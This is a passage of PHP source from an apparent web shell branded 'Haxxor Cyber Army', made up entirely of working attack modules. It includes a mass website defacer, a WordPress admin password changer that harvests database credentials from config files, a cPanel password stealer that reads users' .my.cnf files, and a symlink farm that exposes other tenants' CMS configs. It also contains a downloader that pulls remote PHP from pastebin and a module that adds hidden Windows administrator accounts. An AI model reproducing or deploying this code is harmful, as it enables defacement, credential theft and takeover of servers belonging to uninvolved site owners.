  1231.  $lokasi = $pathc.'/'.$namafile;
  1232.  if($pathb === '.') { file_put_contents($lokasi, $isi_script);
  1233.  } elseif($pathb === '..') { file_put_contents($lokasi, $isi_script);
  1234.  } else { if(is_dir($pathc)) { if(is_writable($pathc)) { echo "<font class='ketengah'><font color=crimson>-:-</font><font color=white>Success</font><font color=crimson>-:-</font> <font color=springgreen>Check in :</font> $lokasi</font><br>";
  1235.  file_put_contents($lokasi, $isi_script);
  1236.  $idx = sabun_massal($pathc,$namafile,$isi_script);
  1237.  } } } } } } if($_POST['start']) { echo "<div style='margin: 5px auto;
  1238.  padding: 5px'>";
  1239.  sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  1240.  echo "</div>";
  1241.  } else { echo "<center>";
  1242.  echo "<form method='post'><br><br>
  1243.         <table>
  1244.         <tr>
  1245.                 <td><font style='text-decoration: underline;
  1246.  margin-left:10px;
  1247. '>Folder</font></td>
  1248.                 <td align='center'>:</td>
  1249.                 <td><input class='justborder' type='text' name='d_dir' value='$path' style='width: 95%;
  1250. ' height='10'><br></td>
  1251.         </tr>
  1252.         <tr>
  1253.                 <td><font style='text-decoration: underline;
  1254.  margin-left:10px;
  1255. '>Filename</font></td>
  1256.                 <td align='center'>:</td>
  1257.                 <td><input class='justborder' type='text' name='d_file' value='index.php' style='width: 95%;
  1258. ' height='10'><br></td>
  1259.         </tr>
  1260.         <tr>
  1261.         <td colspan='3' align='center'><font style='text-decoration: underline;
  1262. '>Script Deface : </font><br></td>
  1263.         </tr>
  1264.         <tr>
  1265.         <td colspan='3'><textarea class='justborder' name='script' style='width: 500px;
  1266.  height: 200px;
  1267. '>Hacked by Haxxor Cyber Army!</textarea><br></td>
  1268.         </tr>
  1269.         <tr>
  1270.         <td colspan='3' align='center'><input class='justborder' type='submit' name='start' value='Mass Deface' style='width: 50%;
  1271. '><br/></td>
  1272.         </tr>
  1273.         </table><br><br><br>
  1274.         </form></center><br/>";
  1275.  }die();
  1276.  
  1277. ?><center><center>
  1278. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'mpc')) { 
  1279. ?>
  1280.                                 <form action="?path=
  1281. <?php echo $path;
  1282.  
  1283. ?>&
  1284. x=mpc" method="post">
  1285.                                
  1286. <?php set_time_limit(0);
  1287.  ini_set('display_errors', 0);
  1288.  echo '<center><h2>WordPress Mass Password Changer</h2></center>';
  1289.  echo '<form method="POST" action="" >
  1290.                         <center><table border="1" class="justborder"><tr><td>Config List:</td>
  1291.                         <td><textarea class="justborder" name="url" cols="50" rows="10" ></textarea></td></tr>
  1292.                         <tr><td>User/Password</td><td><input class="justborder" type="text" name="username" size="25" value="Psrmrh"> /
  1293.                         <input class="justborder" type="text" name="password" size="25" value="HCA-TEAM"></td></tr></table>
  1294.                         <br><input class="bordergaya" type="Submit" class="button" value="Submit"><input type="hidden" name="action" value="1"></form></center>';
  1295.  if ($_POST['action']=='1'){ if ($_POST['url']==''){ echo "<div class='result'>No CONFIG FOUND<br>Make sure you provided a config list!</div><br>";
  1296.  }else{ $url=$_POST['url'];
  1297.  $users = explode("\n",$url);
  1298.  foreach ($users as $user) { $user1=trim($user);
  1299.  $code=file_get_contents2($user1);
  1300.  preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;
  1301. |isU',$code,$b1);
  1302.  $db=$b1[1][0];
  1303.  preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;
  1304. |isU',$code,$b2);
  1305.  $user=$b2[1][0];
  1306.  preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;
  1307. |isU',$code,$b3);
  1308.  $db_password=$b3[1][0];
  1309.  preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;
  1310. |isU',$code,$b4);
  1311.  $host=$b4[1][0];
  1312.  preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;
  1313. |isU',$code,$b5);
  1314.  $p=$b5[1][0];
  1315.  $d=@mysql_connect( $host, $user, $db_password ) ;
  1316.  if ($d){ @mysql_select_db($db );
  1317.  $usern=$_POST['username'];
  1318.  $passwd=$_POST['password'];
  1319.  $sql = "UPDATE `".$p."users` SET `user_pass` = MD5( '".$passwd."' ) WHERE `ID` = '1';
  1320. ";
  1321.  @mysql_query($sql) ;
  1322.  ;
  1323.  $sql = "UPDATE `".$p."users` SET `user_login` = '".$usern."' WHERE `ID` = '1';
  1324. ";
  1325.  @mysql_query($sql) ;
  1326.  ;
  1327.  $aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';
  1328. ") ;
  1329. ;
  1330.  $siteurl=@mysql_fetch_array($aa) ;
  1331.  $siteurl=$siteurl['option_value'];
  1332.  $tr.="$siteurl\n";
  1333.  mysql_close();
  1334.  } } if ($tr) $filename = 'changed.txt';
  1335.  $fp = fopen($filename, "a+");
  1336.  $write = fputs($fp, $tr);
  1337.  fclose($fp);
  1338.  echo "<div class='result'>Password Changing Completed ! :)<br><br>";
  1339.  echo "<a href='changed.txt' target='_blank'>View List of Password Changed Sites</a></div><br/>";
  1340.  } } function file_get_contents2($u){ $ch = curl_init();
  1341.  curl_setopt($ch,CURLOPT_URL,$u);
  1342.  curl_setopt($ch, CURLOPT_HEADER, 0);
  1343.  curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  1344.  curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1;
  1345.  WOW64;
  1346.  rv:12.0) Gecko/20100101 Firefox/12.0 ");
  1347.  $result = curl_exec($ch);
  1348.  return $result ;
  1349.  } echo "<br /><br />";
  1350.  die();
  1351.  
  1352. ?>
  1353.                                
  1354. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'masstool')) { echo "<br/><br/>Please Choose the Key<br/><br/>";
  1355.  
  1356. ?>
  1357.                                         <a href="?
  1358. <?php echo "path=".$path;
  1359.  
  1360. ?>&
  1361. x=massde"><input class=bordergaya type=submit value="Mass Deface" /></a>
  1362.                                         Or <a href="?
  1363. <?php echo "path=".$path;
  1364.  
  1365. ?>&
  1366. x=mpc"><input class=bordergaya type=submit value="Wordpress Mass Password Changer" /></a>
  1367.                                         Or <a href="?
  1368. <?php echo "path=".$path;
  1369.  
  1370. ?>&
  1371. x=zonesH"><input class=bordergaya type=submit value="Zone-H Mass Notifier" /></a>
  1372.                                         <br/><br/><br/><br/><br/>
  1373.  
  1374.                                        
  1375. <?php die();
  1376.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'tentang')) { echo"<br><br>
  1377.                                         <center><b>
  1378.                         <font face='Jolly Lodger' color='gold' size='6px'> [+] HCA <font color='teal'>-</font> Team [+]</font><br>
  1379.                                         <br>
  1380.                         <font face='Fredericka The Great' color='hotpink' size='3px'>♥
  1381.  www.haxxor-team.org ♥
  1382. <br><br>
  1383.                         -:- Cyber Security Expert -:-</font><br><br>
  1384.                         <font color='lime'> Haxxor Cyber Army </font><br><br><br>
  1385.                         </center>
  1386.                                         </b>";
  1387.  die();
  1388.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')) { echo "<br/><br/>Please Choose the Key<br/><br/>";
  1389.  
  1390. ?>
  1391.  
  1392.                                         <a href="?
  1393. <?php echo "path=".$path;
  1394.  
  1395. ?>&
  1396. x=brute"><input class=bordergaya type=submit value="Cpanel Bruteforce" /></a>
  1397.                                         Or <a href="?
  1398. <?php echo "path=".$path;
  1399.  
  1400. ?>&
  1401. x=cpcrack"><input class=bordergaya type=submit value="Auto Cpanel Finder/Cracker" /></a>
  1402.                                         <br/><br/><br/><br/>
  1403.                                
  1404. <?php die();
  1405.  
  1406. ?>
  1407.  
  1408.                                
  1409. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'cpcrack')) { 
  1410. ?>
  1411.                                                         <form action="?path=
  1412. <?php echo $path;
  1413.  
  1414. ?>&
  1415. x=cpcrack" method="post">
  1416.                                
  1417. <?php @ini_set('display_errors',0);
  1418.  function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){ $ar0=explode($marqueurDebutLien, $text);
  1419.  $ar1=explode($marqueurFinLien, $ar0[$i]);
  1420.  return trim($ar1[0]);
  1421.  } echo '<h1>Cpanel Finder/Cracker</h1><br/>';
  1422.  echo "<center>";
  1423.  $d0mains = @file('/etc/named.conf');
  1424.  $domains = scandir("/var/named");
  1425.  if ($domains or $d0mains) { $domains = scandir("/var/named");
  1426.  if($domains) { echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  1427.  $count=1;
  1428.  $dc = 0;
  1429.  $list = scandir("/var/named");
  1430.  foreach($list as $domain){ if(strpos($domain,".db")){ $domain = str_replace('.db','',$domain);
  1431.  $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1432.  $dirz = '/home/'.$owner['name'].'/.my.cnf';
  1433.  $path = getcwd();
  1434.  if (is_readable($dirz)) { copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  1435.  $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  1436.  $password=entre2v2($p,'password="','"');
  1437.  echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  1438.  $dc++;
  1439.  } } } echo '</table>';
  1440.  $total = $dc;
  1441.  echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  1442.  echo '</center>';
  1443.  }else{ $d0mains = @file('/etc/named.conf');
  1444.  if($d0mains) { echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  1445.  $count=1;
  1446.  $dc = 0;
  1447.  $mck = array();
  1448.  foreach($d0mains as $d0main){ if(@eregi('zone',$d0main)){ preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1449.  flush();
  1450.  if(strlen(trim($domain[1][0])) >2){ $mck[] = $domain[1][0];
  1451.  } } } $mck = array_unique($mck);
  1452.  $usr = array();
  1453.  $dmn = array();
  1454.  foreach($mck as $o) { $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1455.  $usr[] = $infos['name'];
  1456.  $dmn[] = $o;
  1457.  } array_multisort($usr,$dmn);
  1458.  $dt = file('/etc/passwd');
  1459.  $passwd = array();
  1460.  foreach($dt as $d) { $r = explode(':',$d);
  1461.  if(strpos($r[5],'home')) { $passwd[$r[0]] = $r[5];
  1462.  } } $l=0;
  1463.  $j=1;
  1464.  foreach($usr as $r) { $dirz = '/home/'.$r.'/.my.cnf';
  1465.  $path = getcwd();
  1466.  if (is_readable($dirz)) { copy($dirz, ''.$path.'/'.$r.'.txt');
  1467.  $p=file_get_contents(''.$path.'/'.$r.'.txt');
  1468.  $password=entre2v2($p,'password="','"');
  1469.  echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  1470.  $dc++;
  1471.  flush();
  1472.  $l=$l?0:1;
  1473.  $j++;
  1474.  } } } echo '</table>';
  1475.  $total = $dc;
  1476.  echo '<br><h3>Total cPanel Found = '.$total.'</h3><br />';
  1477.  echo '</center>';
  1478.  } }else{ echo "<h3><i><font color='red'>ERROR</font><br><font color='red'>/var/named</font> or <font color='red'>etc/named.conf</font> Not Accessible!</i></h3>";
  1479.  } echo "</body></html>";
  1480.  die();
  1481.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'vn')) { 
  1482. ?>
  1483.                                         <form action="?path=
  1484. <?php echo $path;
  1485.  
  1486. ?>&
  1487. x=vn" method="post">
  1488.                                         <center><h2>Domain Viewer</h2></center><br><br>
  1489.                                        
  1490. <?php function openBaseDir() { $openBaseDir = ini_get("open_basedir");
  1491.  if (!$openBaseDir) { $openBaseDir = '<font color="green">OFF</font>';
  1492.  } else { $openBaseDir = '<font color="red">ON</font>';
  1493.  } return $openBaseDir;
  1494.  } echo '
  1495.                                  <table width="95%" cellspacing="0" cellpadding="0" >
  1496.                                  <td height="100" align="left" >';
  1497.  $pg = basename(__FILE__);
  1498.  $safe_mode = @ini_get('safe_mode');
  1499.  $dir = @getcwd();
  1500.  @mkdir('pee',0777);
  1501.  @symlink("/","pee/root");
  1502.  $htaccss = "Options all
  1503.                                  DirectoryIndex Sux.html
  1504.                                  AddType text/plain .php
  1505.                                  AddHandler server-parsed .php
  1506.                                  AddType text/plain .html
  1507.                                  AddHandler txt .html
  1508.                                  Require None
  1509.                                  Satisfy Any";
  1510.  file_put_contents("pee/.htaccess",$htaccss);
  1511.  $etc = file_get_contents("/etc/passwd");
  1512.  $etcz = explode("\n",$etc);
  1513.  foreach($etcz as $etz){ $etcc = explode(":",$etz);
  1514.  error_reporting(0);
  1515.  $current_dir = posix_getcwd();
  1516.  $dir = explode("/",$current_dir);
  1517.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  1518.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  1519.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  1520.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
  1521.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
  1522.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
  1523.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  1524.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  1525.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  1526.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
  1527.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
  1528.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
  1529.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
  1530.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
  1531.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
  1532.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
  1533.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
  1534.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1535.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1536.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1537.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1538.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1539.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1540.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1541.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1542.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1543.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1544.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1545.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1546.  symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
  1547.  } if(is_readable("/var/named")){ echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" >';
  1548.  echo'<tr><td><center><b>SITE</b></center></td><td>
  1549.                                         <center><b>USER</b></center></td>
  1550.                                         <td></center><b>SYMLINK</b></center></td>';
  1551.  $list = scandir("/var/named");
  1552.  foreach($list as $domain){ if(strpos($domain,".db")){ $i += 1;
  1553.  $domain = str_replace('.db','',$domain);
  1554.  $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1555.  echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
  1556.                                         <td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
  1557.                                         <td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  1558.  } } echo "<center>Total Domains Found: ".$i."</center><br />";
  1559.  }else{ echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>";
  1560.  } die();
  1561.  error_reporting(0);
  1562.  $etc = file_get_contents("/etc/passwd");
  1563.  $etcz = explode("\n",$etc);
  1564.  if(is_readable("/etc/passwd")){ echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" >';
  1565.  echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
  1566.  $list = scandir("/var/named");
  1567.  foreach($etcz as $etz){ $etcc = explode(":",$etz);
  1568.  foreach($list as $domain){ if(strpos($domain,".db")){ $domain = str_replace('.db','',$domain);
  1569.  $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1570.  if($owner['name'] == $etcc[0]) { $i += 1;
  1571.  echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
  1572.                                 <td class='td1'><font color='red'>".$owner['name']."</font></center></td>
  1573.                                 <td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  1574.  }}}} echo "<center>Total Domains Found: ".$i."</center><br />";
  1575. } die();
  1576.  if(is_readable("/etc/named.conf")){ echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" >';
  1577.  echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
  1578.  $named = file_get_contents("/etc/named.conf");
  1579.  preg_match_all('%zone \"(.*)\" {%',$named,$domains);
  1580.  foreach($domains[1] as $domain){ $domain = trim($domain);
  1581.  $i += 1;
  1582.  $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1583.  echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  1584.  } echo "<center>Total Domains Found: ".$i."</center><br />";
  1585.  } else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>";
  1586.  } die();
  1587.  if(is_readable("/etc/valiases")){ echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" >';
  1588.  echo'<tr><td><center><b>SITE</b></center></td><td>
  1589.                                 <center><b>USER</b></center></td><td></center>
  1590.                                 <b>SYMLINK</b></center></td>';
  1591.  $list = scandir("/etc/valiases");
  1592.  foreach($list as $domain){ $i += 1;
  1593.  $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1594.  echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
  1595.                                 <center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
  1596.                                 <td class='td1'><center><a href='pee/root".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
  1597.  } echo "<center>Total Domains Found: ".$i."</center><br />";
  1598.  } else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>";
  1599.  } die();
  1600.  } elseif(isset($_GET['x']) && ($_GET['x'] == 'dump')) { 
  1601. ?>
  1602.                                 <br/><br/>
  1603.                                 <form action="?path=
  1604. <?php echo $path;
  1605.  
  1606. ?>&
  1607. x=dump" method="post">
  1608.                                
  1609. <?php $select = $_POST['options'];
  1610.  echo'<center>
  1611.                                 <table border=1>
  1612.                                 <select class="bordergaya" align="left" name="options" id="select">
  1613.                                 <option value="dumper">Gate 1</option>
  1614.                                 </select>
  1615.                                 <input type="submit" name="submites" class="bordergaya" value="Click here for Dump Email">';
  1616.  
  1617. ?>
  1618. <?php if ( $select == "dumper") { $files = file_get_contents("http://pastebin.com/raw/HhiURUER");
  1619.  file_put_contents("dumper.php",$files);
  1620.  echo "<script>alert('Done! Access dumper.php for processing');
  1621.  hideAll();
  1622. </script>";
  1623.  echo "<a href=".'dumper.php'." target=_blank><br/><br/><b>dumper.php [Click here]</b></a></center>";
  1624.  die();
  1625.  } echo'</td></form></tr></table>';
  1626.  die();
  1627.  } if(isset($_GET['x']) && ($_GET['x'] == 'krdp')) { if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { 
  1628. ?><br/><br/>
  1629.                                                 <div id="content-left">
  1630.                                                                 <form action="" method="post">
  1631.                                                                 <table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
  1632.                                                                         <tr>
  1633.                                                                                 <td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">CREATE RDP</font></td>
  1634.                                                                         </tr>
  1635.                                                                         <tr>
  1636.                                                                                 <td><font class='kecew'>Username</font></td>
  1637.                                                                                 <td><font class='kecew'> : </font></td>
  1638.                                                                                 <td><input type="text" class="bordergaya" name="username" required></td>
  1639.                                                                         </tr>
  1640.                                                                         <tr>
  1641.                                                                                 <td><font class='kecew'>Password</font></td>
  1642.                                                                                 <td><font class='kecew'> : </font></td>
  1643.                                                                                 <td><input type="text" class="bordergaya" name="password" required></td>
  1644.                                                                         </tr>
  1645.                                                                         <tr>
  1646.                                                                                 <td colspan="3" align="center"><input type="hidden" name="kshell" value="1"><input type="submit" name="submit" class="bordergaya" value="Create"></td>
  1647.                                                                         </tr>
  1648.                                                                 </table>
  1649.                                                                 </form>
  1650.                                                                 </div>
  1651.                                                                 <br/>
  1652.                                                                 <div id="content-left">
  1653.                                                                 <form action="" method="post">
  1654.                                                                         <table border="1px" bordercolor="#2d2b2b" cellpadding="5px">
  1655.                                                                                 <tr>
  1656.                                                                                         <td colspan="3" align="center" bgcolor="#2d2b2b"><font face="Fredericka the Great" size="2px" color="white">OPTION</td>
  1657.                                                                                 </tr>
  1658.                                                                                 <tr>
  1659.                                                                                         <td><font class='kecew'>Username</font></td>
  1660.                                                                                         <td><font class='kecew'> : </font></td>
  1661.                                                                                         <td><input type="text" name="rusername" placeholder="Masukan Username" class="bordergaya"></td>
  1662.                                                                                 </tr>
  1663.                                                                                 <tr>
  1664.                                                                                         <td><font class='kecew'>Password</font></td>
  1665.                                                                                         <td><font class='kecew'> : </font></td>
  1666.                                                                                         <td><input type="text" name="gantipw" placeholder="Password Baru" class="bordergaya"></td>
  1667.                                                                                 </tr>
  1668.                                                                                 <tr>
  1669.                                                                                         <td><font class='kecew'>Action</font></td>
  1670.                                                                                         <td><font class='kecew'> : </font></td>
  1671.                                                                                         <td>
  1672.                                                                                                 <select name="aksi" class="bordergaya">
  1673.                                                                                                                 <option value="1">Show Username</option>
  1674.                                                                                                                 <option value="2">Happy Username</option>
  1675.                                                                                                                 <option value="3">Change Password</option>
  1676.                                                                                                 </select>
  1677.                                                                                         </td>
  1678.                                                                                 </tr>
  1679.                                                                                 <tr>
  1680.                                                                                         <td colspan="3" align="center"><input type="hidden" name="kshell" value="2"><input type="submit" name="submit" class="bordergaya" value="Execute"></td>
  1681.                                                                                 </tr>
  1682.                                                                         </table>
  1683.                                                                 </form>
  1684.                                                                 <br/>
  1685.                                                 </div>
  1686.                                                 </center></center>
  1687.                                        
  1688. <?php if($_POST['submit']) { if($_POST['kshell']=="1") { $r_user = $_POST['username'];
  1689.  $r_pass = $_POST['password'];
  1690.  $cmd_cek_user = shell_exec("net user");
  1691.  if(preg_match("/$r_user/", $cmd_cek_user)){ echo $gaya_root.$r_user." sudah ada".$o;
  1692.  }else { $cmd_add_user = shell_exec("net user ".$r_user." ".$r_pass." /add");
  1693.  $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
  1694.  $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
  1695.  $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
  1696.  if($cmd_add_user){ echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Succeed!</font></font><br/><br/>".$o;
  1697.  }else { echo $gaya_root."<font class='rapihbanget'>[+] Menambahkan User : ".$r_user." Password : ".$r_pass." <font color='red'>Failed!</font><br/><br/>".$o;
  1698.  } echo "<font class='rapihbanget'>[+] Sedang Memroses User.. Silahkan Tunggu Sebentar.. <br/>";
  1699.  if($cmd_add_groups1){ echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Successful in Process!</font><br/><br/>".$o;
  1700.  }else if($cmd_add_groups2){ echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Successful in Process!</font><br/><br/>".$o;
  1701.  }else if($cmd_add_groups3){ echo $gaya_root."<font class='rapihbanget'>--- Selamat! User ".$r_user." <font color='greenyellow'>Successful in Process!</font><br/><br/>".$o;
  1702.  }else { echo $gaya_root."<font class='rapihbanget'>--- Maaf User ".$r_user." <font color='red'>Failed Di Proses!</font><br/><br/>".$o;
  1703.  } echo "<font class='rapihbanget'>[+] Server Info : </font><br/>";
  1704.  echo $gaya_root."<font class='rapihbanget'>--- ServerIP : ".$_SERVER["HTTP_HOST"]."</font><br/><font class='rapihbanget'>--- Username : ".$r_user."</font><br/><font class='rapihbanget'>--- Password : </font>".$r_pass.$o."</font><br/><br/>";
  1705.  echo "<font class='rapihbanget'>[+] Thank For Using It ~_^ </font><br/><br/>";
  1706.  } } else if($_POST['kshell']=="2") { echo "<style>
  1707.                                                                         .coeg{margin-left:30%;
  1708. }
  1709.                                                                         </style>";
  1710.  if($_POST['aksi']=="1"){ echo "<pre class='coeg'>".shell_exec("net user");
  1711.  } else if($_POST['aksi']=="2") { $username = $_POST['rusername'];
  1712.  $cmd_cek_user = shell_exec("net user");
  1713.  if (!empty($username)){ if(preg_match("/$username/", $cmd_cek_user)){ $cmd_add_user = shell_exec("net user ".$username." /DELETE");
  1714.  if($cmd_add_user){ echo "<font class='rapihbanget'>[+] Processing.. Please Wait.. </font><br /><br />";
  1715.  echo $gaya_root."<font class='rapihbanget'>[+] Happy! Remove User </font><font color='orange'>".$username." </font><font color='greenyellow'>Succeed!!</font><br /><br />".$o;
  1716.  }else { echo $gaya_root."<font class='rapihbanget'>[+] Yah :( Remove User </font><font color='orange'>".$username." </font><font color='red'>Failed!!</font><br /><br />".$o;
  1717.  } }else { echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> It's Not There!!</font><br /><br />".$o;
  1718.  } }else { echo $gaya_root."<font class='rapihbanget'> Please Enter The Username You Want To Be Happy!! </font><br /><br />".$o;
  1719.  } } else if($_POST['aksi']=="3") { echo "<style>
  1720.                                                                                 .tengahaja{margin-left:35%}
  1721.                                                                          </style>";
  1722.  $username = $_POST['rusername'];
  1723.  $password = $_POST['gantipw'];
  1724.  $cmd_cek_user = shell_exec("net user");
  1725.  if (!empty($username)){ if(preg_match("/$username/", $cmd_cek_user)){ $cmd_add_user = shell_exec("net user ".$username."");
  1726.  if($cmd_add_user){ echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='greenyellow'>Succeed!!</font><br /><br />".$o;
  1727.  }else { echo $gaya_root."<font class='tengahaja'>Ganti Password Username : ".$username." dan Password : ".$password." <font color='red'>Failed!!</font><br /><br />".$o;
  1728.  } }else { echo $gaya_root."<font class='rapihbanget'>Are You Kidding Me?! Username : </font><font color='orange'>" .$username. " </font><font color='red'> It's Not There!!</font><br /><br />".$o;
  1729.  } }else { echo $gaya_root."<font class='rapihbanget'> Please Enter The Username You Want To Be Happy!! </font><br /><br />".$o;
